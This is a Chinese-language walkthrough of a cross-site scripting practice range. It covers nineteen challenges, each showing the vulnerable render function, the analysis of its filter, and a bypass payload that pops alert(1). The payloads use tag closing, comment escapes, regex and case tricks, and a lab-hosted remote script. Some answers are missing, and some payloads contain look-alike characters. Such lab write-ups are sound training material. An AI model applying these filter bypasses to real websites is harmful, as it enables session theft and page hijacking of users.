测试网址:alert(1)
有道云笔记: 有道云笔记
XSS有关了解:
什么是 XSS 攻击
XSS 攻击,即跨站脚本攻击,它是 web 程序中常见的漏洞。
原理
攻击者往 web 页面里插入恶意的 HTML 代码(Javascript、css、html 标签等),当用户浏览该页面时,嵌入其中的 HTML 代码会被执行,从而达到恶意攻击用户的目的。如盗取用户 cookie 执行一系列操作,破坏页面结构、重定向到其他网站等。
种类
XSS专项练习
交互界面:
未测试/测试失败
测试成功:
代码部分:
代码区域:
测试分析部分(服务器对输入值的处理):
代码输入和最终前端代码展示部分:
第一题:0x00div标签,常规插入
分析:
function render (input) {
return '<div>' + input + '</div>'
输入代码:
第一种:使用img标签,我们没用src,所以使用的是onerror函数
第二题:0x01textarea标签 闭合该后插入
分析:
function render (input) {
return '<textarea>' + input + '</textarea>'
这个标签内都是文本内容,那么我们必须要闭合掉这个标签才能进一步插入,后半部分是否闭合对本测试无影响,根据习惯即可
输入代码:
</textarea><script>alert(1)</script>
</textarea><img src=0 οnerrοr=alert(1)>
第三题:0x02内容放在标签内,">闭合标签
分析:
function render (input) {
return '<input type="name" value="' + input + '">'
我们看到input的内容被放在了<input>标签内并作为返回值返回,我们需要闭合掉这个<input>标签。后半部分可以不用理会。
输入代码:
"><img src="" οnerrοr=alert(1)>
第四题:0x03过滤(),使用反单引号`
分析:
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
可以看到服务器端是把//g中间的内容即[()]替换为空,过滤掉了(),我们使用反单引号(键盘左上角)
输入代码:
第五题:0x04过滤括号()和反单引号` 使用html实体编码来绕过
分析:
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
可以看到服务器端是把//g中间的内容过滤了,即过滤括号()和反单引号` ,我们使用html实体编码来绕过,把我们徐晓写入的代码转换一下
在线转换网站:HTML字符实体转换
输入代码:
由于这种写法并不常见,不是所有的浏览器都支持它,所以我只能用 img标签 实现,可以自行思考如何使用script去实现
<img src="" οnerrοr=alert(1)>
第六题:0x05闭合注释符
分析:
function render (input) {
input = input.replace(/-->/g, '😂')
return '<!-- ' + input + ' -->'
可以看到服务器端是把 //g 中间的内容即 --> 替换为笑脸,我们要把注释闭合才能正常执行代码
输入代码:
--!><img src="" οnerrοr=alert(1)>
第七题:0x06正则过滤auto/on开头及=结尾和> 换行绕过匹配
分析:
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
这里用到了正则表达式过滤方法,匹配了: auto 、以on开头且以=结尾的字符串和>,所以过滤了autofocus和onerror等事件, 以及防止input标签被闭合
输入代码:
将 onerror 和 =alert(1) 之间通过换行符隔开避开正则匹配
type="image" src="" onerror
第八题:0x07正则匹配,空格绕过解析
分析:
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
const stripTagsRe = /</?[^>]+>/gi
再加上? (匹配前面的子表达式一次或多次), 所以是匹配: <或者 </
首先要明白, 中括号的用法: [abc] => 匹配abc中的任意一个;
1.限定开头: 比如, /^A/会匹配"An e"中的A,但是不会匹配"ab A"中的A
2.取反(仅处于中括号中成立): 比如,[^a-zA-Z0-9]表示 “找到一个非字母也非数字的字符”。
所以,总的来说,[^>]+ 匹配了除了^的任意字符的一次或者多次
总的表达式就是,匹配: </ 任意字符 >, 而且 /i 过滤了大小写
输入代码:
注意:代码结尾有一个或多个 空格直接回车也可以,否则无法正确验证
但是,如果在标签结尾加上空格,这个正则表达式就只会匹配到 img 标签本身,而不会匹配到其中的 JavaScript 代码
第九题:0x08换行或空格绕过正则匹配
分析:
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
可以加一个空格
输入代码:
</style ><script>alert(1)</script>
</style
>
第十题:0x09声明,RegExp.test()正则白名单
分析:
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
let domainRe = /^https?:\/\/www\.segmentfault\.com/
定义了正则匹配规则
test()方法执行一个检索,用来查看正则表达式与指定的字符串是否匹配。
返回true 或 false。
输入代码:
仔细看return 部分,我们的输入在src里面,所以,我们需要在输入的代码里封闭相应的标签,最后,把剩下的部分也封闭
https://www.segmentfault.com/"></script><img src="" οnerrοr=alert(1)<"
第十一题:0x0A升级版0x09过滤后再白名单
分析:
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
通过html转义, 把能注入的关键字都过滤了。可以直接引用指定网站下的目录文件来达到xss注入的目的,
比如: 在靶场的目录下有个j.js文件, 里面有alert(1);代码, 直接调用即可
输入代码:
https://www.segmentfault.com.haozi.me/j.js
第十二题:0x0Bhtml字符大写,js进行hex编码绕过
分析:
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
这样可以对js代码进行 hex编码处理, 而html部分不变
输入代码:
<img src="" οnerrοr=alert(1)>
第二种:域名对大小写也不敏感 , 所以可以用上一题的方法, 调用靶机上自带的j.js代码, 完成xss注入:
<script src=https://www.segmentfault.com.haozi.me/j.js>
第十三题:0x0C依照上题或者是双写绕过
分析:
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
该题将/script/替换为空之后,再转为大写。可以按照上题的解法
输入代码:
<img src="" οnerrοr=alert(1)>
第二种:域名对大小写也不敏感 , 所以可以用上一题的方法, 调用靶机上自带的j.js代码, 完成xss注入:
<sscriptcript src=https://www.segmentfault.com.haozi.me/j.js></sscriptcript>
第十四题:0x0D回车绕过,js注释符-->
分析:
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
输入代码:
注意我们的输入代码在 alert(’ 这里‘) ,所以我们通过换行屏蔽原来的alert,用 --> 注释后面的内容
alert(1);
第十五题:0x0E找到一个大写是s的拉丁字符,编码绕过大写
分析:
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
输入代码:
逆向思维, 找到一个字符的大写是s的: ſ (古英文, 拉丁文):
<ſcript src="" οnerrοr=alert(1)></script>
第十六题:0x0F注释符绕过
分析:
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ''')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
return `<img src οnerrοr="console.error('${escapeHtml(input)}')">`
该题目对字符进行了html实体编码处理。但是, 它忽略了一点, 由于编码后处于html标签中, 所以当解析代码的时候, 被过滤编码的字符仍然会被还原来执行, 所以可以说, 被过滤的字符可以用。
输入代码:
第十七题:0x10提供任意值
分析:
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
没有过滤, 随意给window.date一个值,比如空值 '', 再注入:
输入代码:
第十八题:0x11注释符绕过
分析:
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
输入代码:
第十九题:0x12转义符绕过
分析:
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
输入代码:
但是, 它并没有将转义符转义, 那么我们可以使用转义符转义,这样双引号就不会被替换:
第二种: 通过闭合前面的script标签, 内嵌一个script标签即可: